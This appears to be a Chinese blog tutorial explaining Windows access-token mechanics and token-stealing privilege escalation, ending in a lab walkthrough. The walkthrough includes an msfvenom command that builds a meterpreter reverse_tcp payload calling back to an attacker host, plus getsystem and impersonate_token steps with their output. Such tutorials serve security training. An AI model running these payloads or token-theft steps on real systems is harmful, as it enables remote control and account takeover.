• windwos token提权


      渗透测试时,一旦通过某些方式拿到了某台服务器的shell,就进入了“后渗透测试”阶段。一般情况下,shell的权限可能不高,无法“干大事”,首先面临提权的问题;windows是怎么控制内部权限的了?

      内部权限的划分,本质上是进程(线程)权限的划分,因为所有的操作都是在进程(线程)中进行的,控制用户的权限就等同于控制该用户运行进程(线程)的权限,这又是怎么控制的了?

    1、windwos access token机制简介

      (1)当用户登录系统成功后,系统会生成与这个用户账户相关联的访问令牌。每个进程创建时都会根据登录会话权限由LSA(Local Security Authority)分配一个Token。一般情况下,用户双击运行一个程序,都会拷贝explorer.exe的Access Token,让该用户所有进程的权限一致;

      Windows下有两种类型的Token令牌:授权令牌和模拟令牌。

    • 授权令牌(Delegation Token),也叫主令牌,是由windows内核创建并分配给进程的默认访问令牌,每一个进程有一个主令牌,它描述了与当前进程相关的用户帐户的安全上下文,用于交互式登录(如rdp登录访问)。

    • 模拟令牌(Impersonation Token),所在进程的主令牌会自动附加到当前的线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌,用于非交互式的会话(利用WMI进行远程访问)。

    • 主令牌与进程相关;模拟令牌与模拟令牌的线程相关。

      (2)两种令牌会在系统重启或者关机后才会全部清除,不然将会一直在内存中存留。也就是说,如果机器不关机或者重启的话,就会存在散落的令牌。在系统注销后,具有授权令牌的用户会变为模拟令牌Impersonation Token,但依然有效。默认情况下,当前用户只能看到当前用户自己和比自己权限低的所有访问令牌(list_tokens -u 能查看到)

      (3)Windows Access Token 组成如下:
    • 用户(User)。用户账号的SID。若用户登录到本地计算机上的一个账号,则他的 SID来自于本地SAM维护的账号数据库;若用户登录到一个域账号,则他的SID来自于活动目录里用户对象的Object-SID属性。
    • 组(Groups)。包含该用户的安全组的SID列表,表中也包含代表活动目录里用户 账号的用户对象的SID-History属性里的SID。
    • 特权(Privileges)。用户和用户的安全组在本地计算机上拥有的特权列表。
    • 所有者(Owner)。特定用户或安全组的SID,这些用户或安全组默认成为用户所 创建或拥有的任何对象的所有者。
    • 主组(Primary Group)。用户的主安全组的SID。这个信息只由POSIX子系统使用, Windows 2000的其他部分对其忽略。
    • 默认任意访问控制表(Default Discretionary Access Control List, DACL)。一组内置 许可权。在没有其他访问控制信息存在时操作系统将其作用于用户所创建的对象。默认DACL向创建所有者和系统赋予完全控制(Full Control)权限。
    • 源(Source)。导致访问令牌被创建的进程,例如会话管理器、LAN管理器或远程 过程调用(RPC)服务器。
    • 类型(Type)。指示访问令牌是主(primary)令牌还是模拟(impersonation)令牌。 主令牌代表一个进程的安全上下文;模拟令牌是服务进程里的一个线程,用来临时接受一个不同的安全上下文(如服务的一个客户的安全上下文)的令牌。
    • 模拟级别(Impersonation Level)。指示服务对该访问令牌所代表的客户的安全上下 文的接受程度。
    • 统计信息(Statistics)。关于访问令牌本身的信息。操作系统在内部使用这个信息。
    • 限制SID(Restricting SID)。由一个被授权创建受限令牌的进程添加到访问令牌里 的可选的SID列表。限制SID可以将线程的访问限制到低于用户被允许的级别。
    • 会话ID(Session ID)。指示访问令牌是否与终端服务(Terminal Services)客户会 话相关。
      token具体的实例可以用windbg查看,微软官网有说明:https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/-token
    kd> !exts.token -n e1bed030
    _TOKEN e1bed030
    TS Session ID: 0
    User: S-1-5-21-518066528-515770016-299552555-2981724 (User: MYDOMAINmyuser)
    Groups:
     00 S-1-5-21-518066528-515770016-299552555-513 (Group: MYDOMAINDomain Users)
        Attributes - Mandatory Default Enabled
     01 S-1-1-0 (Well Known Group: localhostEveryone)
        Attributes - Mandatory Default Enabled
     02 S-1-5-32-544 (Alias: BUILTINAdministrators)
        Attributes - Mandatory Default Enabled Owner
     03 S-1-5-32-545 (Alias: BUILTINUsers)
        Attributes - Mandatory Default Enabled
     04 S-1-5-21-518066528-515770016-299552555-2999049 (Group: MYDOMAINAllUsers)
        Attributes - Mandatory Default Enabled
     05 S-1-5-21-518066528-515770016-299552555-2931095 (Group: MYDOMAINSomeGroup1)
        Attributes - Mandatory Default Enabled
     06 S-1-5-21-518066528-515770016-299552555-2931096 (Group: MYDOMAINSomeGroup2)
        Attributes - Mandatory Default Enabled
     07 S-1-5-21-518066528-515770016-299552555-3014318 (Group: MYDOMAINSomeGroup3)
        Attributes - Mandatory Default Enabled
     08 S-1-5-21-518066528-515770016-299552555-3053352 (Group: MYDOMAINAnother Group)
        Attributes - Mandatory Default Enabled
     09 S-1-5-21-518066528-515770016-299552555-2966661 (Group: MYDOMAINTestGroup)
        Attributes - Mandatory Default Enabled
     10 S-1-5-21-2117033040-537160606-1609722162-17637 (Group: MYOTHERDOMAINsomeusers)
        Attributes - Mandatory Default Enabled
     11 S-1-5-21-518066528-515770016-299552555-3018354 (Group: MYDOMAINTestGroup2)
        Attributes - Mandatory Default Enabled
     12 S-1-5-21-518066528-515770016-299552555-3026602 (Group: MYDOMAINSomeGroup4)
        Attributes - Mandatory Default Enabled
     13 S-1-5-21-518066528-515770016-299552555-2926570 (Group: MYDOMAINYetAnotherGroup)
        Attributes - Mandatory Default Enabled
     14 S-1-5-21-661411660-2927047998-133698966-513 (Group: MYDOMAINDomain Users)
        Attributes - Mandatory Default Enabled
     15 S-1-5-21-518066528-515770016-299552555-2986081 (Alias: MYDOMAINan_alias)
        Attributes - Mandatory Default Enabled GroupResource
     16 S-1-5-21-518066528-515770016-299552555-3037986 (Alias: MYDOMAINAReallyLongGroupName1)
        Attributes - Mandatory Default Enabled GroupResource
     17 S-1-5-21-518066528-515770016-299552555-3038991 (Alias: MYDOMAINAReallyLongGroupName2)
        Attributes - Mandatory Default Enabled GroupResource
     18 S-1-5-21-518066528-515770016-299552555-3037999 (Alias: MYDOMAINAReallyLongGroupName3)
        Attributes - Mandatory Default Enabled GroupResource
     19 S-1-5-21-518066528-515770016-299552555-3038983 (Alias: MYDOMAINAReallyReallyLongGroupName)
        Attributes - Mandatory Default Enabled GroupResource
     20 S-1-5-5-0-71188 (no name mapped)
        Attributes - Mandatory Default Enabled LogonId
     21 S-1-2-0 (Well Known Group: localhostLOCAL)
        Attributes - Mandatory Default Enabled
     22 S-1-5-4 (Well Known Group: NT AUTHORITYINTERACTIVE)
        Attributes - Mandatory Default Enabled
     23 S-1-5-11 (Well Known Group: NT AUTHORITYAuthenticated Users)
        Attributes - Mandatory Default Enabled
    Primary Group: S-1-5-21-518066528-515770016-299552555-513 (Group: MYDOMAINDomain Users)
    Privs:
     00 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
     01 0x000000008 SeSecurityPrivilege               Attributes -
     02 0x000000011 SeBackupPrivilege                 Attributes -
     03 0x000000012 SeRestorePrivilege                Attributes -
     04 0x00000000c SeSystemtimePrivilege             Attributes -
     05 0x000000013 SeShutdownPrivilege               Attributes -
     06 0x000000018 SeRemoteShutdownPrivilege         Attributes -
     07 0x000000009 SeTakeOwnershipPrivilege          Attributes -
     08 0x000000014 SeDebugPrivilege                  Attributes -
     09 0x000000016 SeSystemEnvironmentPrivilege      Attributes -
     10 0x00000000b SeSystemProfilePrivilege          Attributes -
     11 0x00000000d SeProfileSingleProcessPrivilege   Attributes -
     12 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes -
     13 0x00000000a SeLoadDriverPrivilege             Attributes - Enabled
     14 0x00000000f SeCreatePagefilePrivilege         Attributes -
     15 0x000000005 SeIncreaseQuotaPrivilege          Attributes -
     16 0x000000019 SeUndockPrivilege                 Attributes - Enabled
     17 0x00000001c SeManageVolumePrivilege           Attributes -
    Authentication ID:         (0,11691)
    Impersonation Level:       Anonymous
    TokenType:                 Primary
    Source: User32             TokenFlags: 0x9 ( Token in use )
    Token ID: 18296            ParentToken ID: 0
    Modified ID:               (0, 18298)
    RestrictedSidCount: 0      RestrictedSids: 00000000

     2、 token的获取方式如下:

    • 令牌模拟/盗窃 -对手创建一个新的访问令牌,该令牌使用来复制现有令牌DuplicateToken(Ex)。然后可以将该令牌用于ImpersonateLoggedOnUser允许调用线程模拟已登录用户的安全上下文,或者SetThreadToken用于将模拟令牌分配给线程。当目标用户在系统上具有非网络登录会话时,这很有用。
    • 使用令牌创建流程 -对手DuplicateToken(Ex)使用CreateProcessWithTokenW来创建新的访问令牌,并将其用于创建在模拟用户的安全上下文下运行的新流程。这对于在其他用户的安全上下文下创建新进程很有用。
    • 制作和模拟令牌 -对手具有用户名和密码,但用户未登录到系统。然后,对手可以使用该LogonUser功能为用户创建登录会话。该函数将返回新会话的访问令牌的副本,并且对手可以SetThreadToken用来将令牌分配给线程。

      任何标准用户都可以使用runas命令和Windows API函数来创建模拟令牌。它不需要访问管理员帐户。

     3、token窃取实战

     (1)环境说明:

    • 攻击机:kali, ip:192.168.40.130
    • 靶机:win10,版本: 10.0.16299.125     ip:192.168.40.129

     (2)实验步骤:

    • 生成payload:
    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.40.130 LPORT=4444 -f exe -o token_shell.exe
    • 攻击机监听,成功收到靶机的反弹连接:
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set LPORT 4444
    LPORT => 4444
    msf5 exploit(multi/handler) > set LHOST 192.168.40.130
    LHOST => 192.168.40.130
    msf5 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 192.168.40.130:4444 
    [*] Sending stage (176195 bytes) to 192.168.40.129
    [*] Meterpreter session 1 opened (192.168.40.130:4444 -> 192.168.40.129:49734) at 2020-10-14 22:34:23 +0800
    • 点击payload的账号是administrator,所以这里看到的uid是administrator;先用getsystem提权,可以看到操作系统所有的tokes,包括delegation和impersionation两种;
    meterpreter > getuid
    Server username: SC-202004141606Administrator
    meterpreter > getsystem
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    meterpreter > load incognito
    [-] The 'incognito' extension has already been loaded.
    meterpreter > list_tokens -u
    
    Delegation Tokens Available
    ========================================
    NT AUTHORITYSYSTEM
    SC-202004141606Administrator
    Window ManagerDWM-1
    
    Impersonation Tokens Available
    ========================================
    Font Driver HostUMFD-0
    Font Driver HostUMFD-1
    NT AUTHORITYANONYMOUS LOGON
    NT AUTHORITYLOCAL SERVICE
    NT AUTHORITYNETWORK SERVICE
    • 这时是system权限,能看到所有权限的进程的详细信息:
    meterpreter > ps
    
    Process List
    ============
    
     PID   PPID  Name                      Arch  Session  User                           Path
     ---   ----  ----                      ----  -------  ----                           ----
     0     0     [System Process]                                                        
     4     0     System                    x64   0                                       
     288   4     smss.exe                  x64   0                                       
     356   584   svchost.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe
     388   584   svchost.exe               x64   0        NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe
     400   388   csrss.exe                 x64   0                                       
     404   584   svchost.exe               x64   0        NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe
     488   388   wininit.exe               x64   0                                       
     496   480   csrss.exe                 x64   1                                       
     584   488   services.exe              x64   0                                       
     592   480   winlogon.exe              x64   1        NT AUTHORITYSYSTEM            C:WindowsSystem32winlogon.exe
     616   488   lsass.exe                 x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32lsass.exe
     712   488   fontdrvhost.exe           x64   0        Font Driver HostUMFD-0        C:WindowsSystem32fontdrvhost.exe
     720   592   fontdrvhost.exe           x64   1        Font Driver HostUMFD-1        C:WindowsSystem32fontdrvhost.exe
     736   584   svchost.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe
     864   584   svchost.exe               x64   0        NT AUTHORITYNETWORK SERVICE   C:WindowsSystem32svchost.exe
     908   584   svchost.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe
     984   592   dwm.exe                   x64   1        Window ManagerDWM-1           C:WindowsSystem32dwm.exe
     1160  584   svchost.exe               x64   0        NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe
     1172  4392  token_shell.exe           x86   1        SC-202004141606Administrator  C:UsersAdministrator.SC-202004141606Desktop	oken_shell.exe
     1208  1236  conhost.exe               x64   1        SC-202004141606Administrator  C:WindowsSystem32conhost.exe
     1236  4392  cmd.exe                   x64   1        SC-202004141606Administrator  C:WindowsSystem32cmd.exe
     1272  584   svchost.exe               x64   0        NT AUTHORITYNETWORK SERVICE   C:WindowsSystem32svchost.exe
     1316  584   WUDFHost.exe              x64   0        NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32WUDFHost.exe
     1356  4     Memory Compression        x64   0                                       
     1464  584   svchost.exe               x64   0        NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe
     1564  584   svchost.exe               x64   0        NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe
     1572  584   svchost.exe               x64   0        NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe
     1636  2692  postgres.exe              x86   0        NT AUTHORITYLOCAL SERVICE     C:Program Files (x86)Acunetixpginpostgres.exe
     1652  584   svchost.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe
     1684  584   svchost.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe
     1836  584   svchost.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe
     1928  584   spoolsv.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32spoolsv.exe
     2036  2692  postgres.exe              x86   0        NT AUTHORITYLOCAL SERVICE     C:Program Files (x86)Acunetixpginpostgres.exe
     2104  584   pg_ctl.exe                x86   0        NT AUTHORITYLOCAL SERVICE     C:Program Files (x86)Acunetixpginpg_ctl.exe
     2112  2692  postgres.exe              x86   0        NT AUTHORITYLOCAL SERVICE     C:Program Files (x86)Acunetixpginpostgres.exe
     2128  584   wvs_supervisor.exe        x86   0        NT AUTHORITYSYSTEM            C:Program Files (x86)Acunetixwvs_supervisor.exe
     2152  584   svchost.exe               x64   0        NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe
    •  在system权限下用imperonate_token命令窃取其他账户的token,窃取成功,并切换了账号:
    meterpreter > impersonate_token "SC-202004141606Administrator"
    [+] Delegation token available
    [+] Successfully impersonated user SC-202004141606Administrator
    meterpreter > getuid
    Server username: SC-202004141606Administrator
    •  再次查看进程列表,这时只能看到administrator用户创建进程的详细信息了:
    meterpreter > ps
    
    Process List
    ============
    
     PID   PPID  Name                      Arch  Session  User                           Path
     ---   ----  ----                      ----  -------  ----                           ----
     0     0     [System Process]                                                        
     4     0     System                    x64   0                                       
     288   4     smss.exe                  x64   0                                       
     340   4392  token_shell.exe           x86   1        SC-202004141606Administrator  C:UsersAdministrator.SC-202004141606Desktop	oken_shell.exe
     356   584   svchost.exe               x64   0                                       
     388   584   svchost.exe               x64   0                                       
     400   388   csrss.exe                                                               
     404   584   svchost.exe               x64   0                                       
     488   388   wininit.exe               x64   0                                       
     496   480   csrss.exe                                                               
     584   488   services.exe              x64   0                                       
     592   480   winlogon.exe              x64   1                                       
     616   488   lsass.exe                 x64   0                                       
     712   488   fontdrvhost.exe                                                         
     720   592   fontdrvhost.exe                                                         
     736   584   svchost.exe               x64   0                                       
     864   584   svchost.exe               x64   0                                       
     908   584   svchost.exe               x64   0                                       
     984   592   dwm.exe                                                                 
     1160  584   svchost.exe               x64   0                                       
     1208  1236  conhost.exe               x64   1        SC-202004141606Administrator  C:WindowsSystem32conhost.exe
     1236  4392  cmd.exe                   x64   1        SC-202004141606Administrator  C:WindowsSystem32cmd.exe
     1272  584   svchost.exe               x64   0                                       
     1316  584   WUDFHost.exe                                                            
     1356  4     Memory Compression        x64   0                                       
     1452  736   Calculator.exe            x64   1        SC-202004141606Administrator  C:Program FilesWindowsAppsMicrosoft.WindowsCalculator_10.1804.11545.0_x64__8wekyb3d8bbweCalculator.exe
     1464  584   svchost.exe               x64   0                                       
     1564  584   svchost.exe               x64   0                                       
     1572  584   svchost.exe               x64   0                                       
     1636  2692  postgres.exe                                                            
     1652  584   svchost.exe               x64   0                                       
     1684  584   svchost.exe               x64   0                                       
     1836  584   svchost.exe               x64   0                                       
     1928  584   spoolsv.exe               x64   0                                       
     1988  736   RuntimeBroker.exe         x64   1        SC-202004141606Administrator  C:WindowsSystem32RuntimeBroker.exe

    1、B站有个专题介绍内网渗透方面的视频挺不错的:https://www.bilibili.com/video/BV1tV411m7Ne  ,下面是视频内容的提炼和总结:

  • 相关阅读:
    在指定文件夹目录下打开jupyter notebook
    防止sql注入
    惰性函数——适合外层函数只需要执行一次
    Text类型
    怎样理解阻塞非阻塞与同步异步的区别?
    Element类型
    避免使用eval()
    javascript 连等赋值问题
    类数组转化为数组
    DOM10-1节点层次
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13815861.html
Copyright © 2020-2023  润新知